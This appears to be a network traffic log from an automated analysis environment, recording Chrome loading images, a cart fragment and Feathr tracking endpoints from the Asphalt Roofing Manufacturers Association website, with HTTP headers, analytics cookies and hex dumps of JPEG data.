2024-04-23 14:54:40 UTC	968	OUT	GET /wp-content/uploads/2017/04/ga_0-300x122.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/resources/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:40 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:40 GMT Content-Type: image/jpeg Content-Length: 3899 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:34:06 GMT ETag: "1be1dc2-f3b-5d9f3e633fb80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:40 UTC	3899	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 09 09 09 09 0a 09 0a 0b 0b 0a 0e 0f 0d 0f 0e 15 13 11 11 13 15 1f 16 18 16 18 16 1f 30 1e 23 1e 1e 23 1e 30 2a 33 29 27 29 33 2a 4c 3b 35 35 3b 4c 57 49 45 49 57 6a 5f 5f 6a 85 7f 85 ae ae ea 01 09 09 09 09 0a 09 0a 0b 0b 0a 0e 0f 0d 0f 0e 15 13 11 11 13 15 1f 16 18 16 18 16 1f 30 1e 23 1e 1e 23 1e 30 2a 33 29 27 29 33 2a 4c 3b 35 35 3b 4c 57 49 45 49 57 6a 5f 5f 6a 85 7f 85 ae ae ea ff c2 00 11 08 00 7a 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 01 03 04 05 06 07 02 08 ff da 00 08 01 01 00 00 00 00 ee 09 35 ee 17 04 cd 9e 18 27 aa f6 30 00 04 24 d5 f8 75 a0 5b db 09 f1 d1 7b 90 00 02 12 6a bc 37 19 77 52 ac 4f 98 4e 2e 8e Data Ascii: JFIF0##03)')3L;55;LWIEIWj__j0##03)')3L;55;LWIEIWj__jz,"5'0$u[{j7wRON.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.6	50193	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:41 UTC	1052	OUT	POST /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Content-Length: 18 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.asphaltroofing.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/resources/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:41 UTC	18	OUT	Data Raw: 74 69 6d 65 3d 31 37 31 33 38 38 34 30 38 30 30 31 32 Data Ascii: time=1713884080012
2024-04-23 14:54:42 UTC	618	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:42 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Access-Control-Allow-Origin: https://www.asphaltroofing.org Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding
2024-04-23 14:54:42 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.6	50194	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:41 UTC	962	OUT	GET /wp-content/uploads/2017/04/banner.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/resources/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:41 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:41 GMT Content-Type: image/jpeg Content-Length: 28367 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 15:27:24 GMT ETag: "1be1da5-6ecf-5d9f2f7aa4f00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:41 UTC	7673	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 14 14 14 14 15 14 17 19 19 17 1f 22 1e 22 1f 2e 2b 27 27 2b 2e 46 32 36 32 36 32 46 6a 42 4e 42 42 4e 42 6a 5e 72 5d 56 5d 72 5e a9 85 76 76 85 a9 c3 a4 9b a4 c3 ec d3 d3 ec ff ff ff ff ff ff 01 14 14 14 14 15 14 17 19 19 17 1f 22 1e 22 1f 2e 2b 27 27 2b 2e 46 32 36 32 36 32 46 6a 42 4e 42 42 4e 42 6a 5e 72 5d 56 5d 72 5e a9 85 76 76 85 a9 c3 a4 9b a4 c3 ec d3 d3 ec ff ff ff ff ff ff ff c2 00 11 08 02 c6 07 d0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff da 00 08 01 01 00 00 00 00 fb 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF"".+''+.F26262FjBNBBNBj^r]V]r^vv"".+''+.F26262FjBNBBNBj^r]V]r^vv"0
2024-04-23 14:54:42 UTC	8192	IN	Data Raw: 00 00 00 01 44 9a bc 9d 7c 79 c7 1d fa 6c e2 df 5f 48 08 1a 00 00 41 54 a3 90 00 00 00 00 00 00 00 ac e7 a5 e4 eb 9e 79 d5 f9 d3 5d b7 2f b6 26 73 24 6b 5b f2 74 de f6 00 67 40 a5 0b c4 00 00 00 00 00 00 00 56 66 ee 24 1d 37 f2 78 75 ed ed cf 9b db 8e 59 05 de bc ff 00 2f ac 97 7b df 4d f4 e9 b9 9d ea 94 2a 8e 20 00 00 00 00 00 00 0a 24 da 62 4a de fe 5f 9f b7 7f a1 c3 e5 fa bd 9c 14 6a d7 3f 9d 9b 6d 49 24 e9 f4 fa 6c a2 85 1c 40 00 00 00 00 00 00 0a 49 b6 70 b1 67 8b 8f 67 6c f9 3b 7b 73 b4 98 dd ce b9 f8 38 11 75 6e b6 fa 17 d0 50 14 38 80 00 00 00 00 00 00 14 99 dd ce 37 26 75 3c 3c 2d c4 6f e8 56 f1 95 5b 3e 66 32 ba da 6f d1 d3 97 ab d1 a0 0a 07 10 00 00 00 00 00 00 02 8c 6e ce 7b 91 73 e0 e2 dc 67 9f d0 ec 49 ac b4 f0 79 ba d4 e9 df bf 7e ae 7f 3b Data Ascii: D\|yl_HATy]/&s$k[tg@Vf$7xuY/{M* $bJ_j?mI$l@Ipggl;{s8unP87&u<<-oV[>f2on{sgIy~;
2024-04-23 14:54:42 UTC	8192	IN	Data Raw: b7 aa 62 a8 d3 4a eb b2 b1 5a a3 e9 da f6 6c 9a bc 7f cb c2 34 34 d2 e1 35 ff 00 83 44 9d da 5b 13 a7 3d 2b 55 ee 46 12 da e8 94 a5 1d 9a d8 d3 29 dd a4 c5 87 95 f8 b2 3a 14 e3 bc a6 8a 95 70 f1 d9 4b 57 d8 55 29 5b d5 22 82 7a a4 d5 8a 8f 5d 48 a3 05 16 eb c6 36 e3 77 f6 42 79 fa 92 c2 d1 93 72 69 dd 8b 0f 18 f0 d9 d3 6b 86 34 d6 56 7d 8b 3e df 91 c5 c3 54 24 62 15 99 24 45 ee 41 90 67 87 cf 94 2f a2 4f 3b 16 c9 a3 4b 13 2e 54 95 91 ae 5d c5 52 47 55 9d 7e e8 fc 4c 45 88 80 ab 41 fa 9d 48 bf 52 53 25 51 92 aa ce a0 ea 0e af cc 75 89 55 97 71 ce 5d c5 39 1b 8a 2d 8a 02 48 a5 e6 a9 f0 95 a7 69 8e a2 25 32 2e e2 48 8b f6 ca 3f 01 32 b5 d0 a5 22 32 91 52 a4 d1 4e ad 49 3d 8a 09 b8 47 52 b3 2b 46 30 e3 d5 9b 4b 7b 26 d2 35 3a 7b be 7b 58 78 9b b6 b4 5e ec 9e Data Ascii: bJZl445D[=+UF):pKWU)["z]H6wByrik4V}>T$b$EAg/O;K.T]RGU~LEAHRS%QuUq]9-Hi%2.H?2"2RNI=GR+F0K{&5:{{Xx^
2024-04-23 14:54:42 UTC	4310	IN	Data Raw: 2f e8 88 32 5c 15 15 a5 9a 21 f0 88 42 f7 7e 25 55 d2 a3 26 8b f0 5d d8 bb bf a1 b9 69 1a 65 6e 51 a2 57 e5 1a 24 fd 51 d3 95 f9 3a 32 ee 74 65 fb 85 49 af d4 69 7d cd 0f b9 d3 f9 9d 3f 99 d3 f9 9d 3f 99 d3 f9 9d 23 a6 8e 9a 3a 68 e9 a3 a6 8e 92 3a 47 49 1d 14 74 22 46 3a 62 3f 8c 5e 4f ff c4 00 32 11 00 02 02 00 04 05 04 02 02 02 01 04 03 00 00 00 00 01 02 11 03 10 12 31 04 20 21 41 51 13 30 32 60 22 42 61 71 14 40 33 05 23 50 81 62 70 a1 ff da 00 08 01 02 01 01 3f 00 ff 00 ec c6 2e 45 2b 65 f5 ff 00 7a b2 a2 8a 28 a2 8a 2b e8 ab 99 e4 b2 7b a2 5b 32 3b 64 f6 1e c4 65 ff 00 72 87 2f ce 88 ec 3d 8a e7 a2 8a e4 ac eb 9a 8a 2b 2a 28 a2 8a 28 a2 b3 af a2 31 4d 21 49 79 2d 72 4b 27 2d 32 4b ce 52 ec 4b e2 cc 27 71 ca 5b 1d 84 ab 15 ff 00 66 23 ac 54 61 ec 3d Data Ascii: /2\!B~%U&]ienQW$Q:2teIi}??#:h:GIt"F:b?^O21 !AQ02`"Baq@3#Pbp?.E+ez(+{[2;der/=+*((1M!Iy-rK'-2KRK'q[f#Ta=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.6	50195	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:41 UTC	605	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.asphaltroofing.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:41 UTC	894	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:41 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u2NxR0uUQfUQ8RQGvaXVA7vDQnVIHtzHIcxtGW20RZMjrB4f1Gnsw2O3y4VM27tdxuNP5zysww2fpn2W5Z%2BWz%2Fx4w%2F4kYK9mhX6Q%2FTFyQ9e2qfgpx5JjqXyWqEP1zJlO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0b75969452d-ATL
2024-04-23 14:54:41 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.6	50197	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:41 UTC	715	OUT	GET /wp-content/uploads/2017/04/ga_0-300x122.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:41 UTC	516	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:41 GMT Content-Type: image/jpeg Content-Length: 3899 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:34:06 GMT ETag: "1be1dc2-f3b-5d9f3e633fb80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:41 UTC	3899	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 09 09 09 09 0a 09 0a 0b 0b 0a 0e 0f 0d 0f 0e 15 13 11 11 13 15 1f 16 18 16 18 16 1f 30 1e 23 1e 1e 23 1e 30 2a 33 29 27 29 33 2a 4c 3b 35 35 3b 4c 57 49 45 49 57 6a 5f 5f 6a 85 7f 85 ae ae ea 01 09 09 09 09 0a 09 0a 0b 0b 0a 0e 0f 0d 0f 0e 15 13 11 11 13 15 1f 16 18 16 18 16 1f 30 1e 23 1e 1e 23 1e 30 2a 33 29 27 29 33 2a 4c 3b 35 35 3b 4c 57 49 45 49 57 6a 5f 5f 6a 85 7f 85 ae ae ea ff c2 00 11 08 00 7a 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 01 03 04 05 06 07 02 08 ff da 00 08 01 01 00 00 00 00 ee 09 35 ee 17 04 cd 9e 18 27 aa f6 30 00 04 24 d5 f8 75 a0 5b db 09 f1 d1 7b 90 00 02 12 6a bc 37 19 77 52 ac 4f 98 4e 2e 8e Data Ascii: JFIF0##03)')3L;55;LWIEIWj__j0##03)')3L;55;LWIEIWj__jz,"5'0$u[{j7wRON.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.6	50196	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:41 UTC	731	OUT	GET /wp-content/uploads/2017/04/AdobeStock_21079337-400x400.jpeg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:41 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:41 GMT Content-Type: image/jpeg Content-Length: 25789 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1be1cc3-64bd-5b419ed103e00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:41 UTC	7674	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 00 48 00 00 ff fe 00 1f 43 6f 6d 70 72 65 73 73 65 64 20 62 79 20 6a 70 65 67 2d 72 65 63 6f 6d 70 72 65 73 73 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 90 01 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 00 08 09 ff c4 00 44 10 00 02 01 03 03 02 04 04 03 Data Ascii: JFIFHHCompressed by jpeg-recompressC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"D
2024-04-23 14:54:42 UTC	8192	IN	Data Raw: 1d b2 ea 73 8f 31 57 15 d5 01 8c 1c 8c 9f 2a c9 2d f5 38 60 bf 67 66 50 3c 85 4b 4f d6 31 5a 58 b4 cd 2f b9 f7 35 9c e3 f0 4c 67 f2 5d 75 6e a7 b6 d2 ed a4 9e 79 42 aa fe a4 fa 0f 7a c8 fa 8f 5f bb eb 8d 62 18 25 66 f0 01 e1 07 64 41 de a3 f5 6d 6e ef a9 2e 77 c8 59 63 5f 95 23 1d 87 fd 69 e2 78 1d 33 64 26 94 87 bb 9c 72 80 f2 ab e9 42 8e df ec ad d7 fd 12 d2 a2 33 45 6e 91 84 f0 54 3b 0c f0 3c 95 7f bd 3e 92 cf c3 85 4b 60 0d bf 6c d5 27 48 ea 3d f7 d7 52 df 31 54 90 a9 01 46 79 ec 3f 95 4e 75 57 53 c7 14 b6 76 36 ef c1 40 58 83 e6 7f e9 8a 87 07 74 57 91 25 65 87 45 d0 ec ef ae 56 7b e6 66 8d 5b 3b 86 38 3f de b4 0d 2f e1 65 8a 41 26 a5 6d a8 34 b9 f9 d1 bc 51 f2 9f b7 63 59 44 5d 51 63 6b 04 51 19 db c3 8b f8 7b bf 1d ea c3 d3 1f 1b 20 e9 a2 67 82 c9 Data Ascii: s1W*-8`gfP<KO1ZX/5Lg]unyBz_b%fdAmn.wYc_#ix3d&rB3EnT;<>K`l'H=R1TFy?NuWSv6@XtW%eEV{f[;8?/eA&m4QcYD]QckQ{ g
2024-04-23 14:54:42 UTC	8192	IN	Data Raw: 56 95 07 e2 ee e4 ba bf 71 be e2 57 3c b3 1f 2f 60 3b 01 5e c6 1d 34 31 2f c5 1d f1 8c 17 0b d1 33 6b 6d 34 33 34 f3 11 bb 9f a0 14 df 5b e9 cd 37 a8 80 f1 e3 8c 4c 06 56 6c 72 bf ef 50 d7 fd 51 3d f7 55 c3 a0 59 44 65 8a 28 cc d7 93 83 f2 c7 e4 a9 f5 3d ea 6e f3 51 4d 32 ca 4b 99 14 90 a3 21 57 bb 1f 20 07 ad 5c 92 ba 65 56 e4 44 e9 1d 69 27 48 cd 25 85 c5 bc 57 16 f1 b6 d2 f1 0d ac 3f b1 ab 36 9b f1 3f a5 f5 ad 5a df 46 87 52 11 5f 5c 0d e9 04 c8 c8 5f d8 12 30 7f 5a 84 7b 0b 2d 4f 4f 0d 7f 00 8e e1 d7 71 65 ee a4 f9 56 1d ae 46 34 db f1 2c f2 62 6b 5b bc 5a ba 1c 32 f7 04 fd c5 0b 4d 8e 6b 6c 78 39 b2 e3 db c9 eb d1 f2 8c d1 47 19 35 41 f8 65 f1 2a df aa 6c a3 d3 ef e5 54 d5 21 4f 33 81 70 a3 f7 87 bf a8 ab de ed cd 8c d4 e5 9e c9 28 be ce 64 ac 16 39 Data Ascii: VqW</`;^41/3km434[7LVlrPQ=UYDe(=nQM2K!W \eVDi'H%W?6?ZFR_\_0Z{-OOqeVF4,bk[Z2Mklx9G5Ae*lT!O3p(d9
2024-04-23 14:54:42 UTC	1731	IN	Data Raw: f3 0f bd 6d bd 13 fe 20 ac ae cc 71 bd df 84 fe 71 cc 7f bd 55 26 51 e9 7f 14 0e 68 4b af 98 aa 66 89 f1 0b 4e d5 15 77 3a a9 6f 30 72 2a cd 15 c2 4c a1 e2 90 3a 9f 43 53 b4 07 85 63 3d d4 51 7c 18 8f 95 24 19 8f 71 c8 ae f1 76 9a 28 03 9b 44 3d 8d 23 2e 99 14 c3 0e a8 e3 d1 97 34 ba c8 0d 73 48 57 90 78 a5 c8 11 33 74 a6 99 31 cb d8 5a b7 ff 00 00 29 94 fd 05 a2 cd 9d da 74 63 fd 07 15 64 56 dc 38 34 60 c3 b5 3d cc 28 a6 4b f0 cb a7 e5 04 3d 9c 98 3f f3 9a cd 7a d7 fc 30 69 5a b3 3d de 81 76 6c 2e fb 84 90 66 36 f6 38 ed 5b f6 6b b2 3d 33 43 93 7c 30 5c 74 78 33 ab fe 1e 75 2f 41 c9 b3 57 d3 a4 8e 22 df 2d c2 7c d1 3f d1 87 f4 35 5f b7 97 73 64 f1 9a fa 1b 77 63 67 a8 42 d0 5d da c3 3c 4e 30 c9 22 06 53 f6 35 e4 7f f1 01 f0 e5 3a 37 ab 8d fe 9d 6a b0 69 Data Ascii: m qqU&QhKfNw:o0r*L:CSc=Q\|$qv(D=#.4sHWx3t1Z)tcdV84`=(K=?z0iZ=vl.f68[k=3C\|0\tx3u/AW"-\|?5_sdwcgB]<N0"S5:7ji

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.6	50198	18.160.78.62	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:42 UTC	630	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:42 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:42 GMT x-amzn-RequestId: d370a8dd-a440-49e2-a0f5-a7421c67b341 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:42 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzD6GvgIAMEMUg= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cbb2-7a69579e3bdf1a75096262ff;Parent=5f5084842a6d5a77;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 59000c13a9de83fe9470b41a5b1ab48a.cloudfront.net (CloudFront) 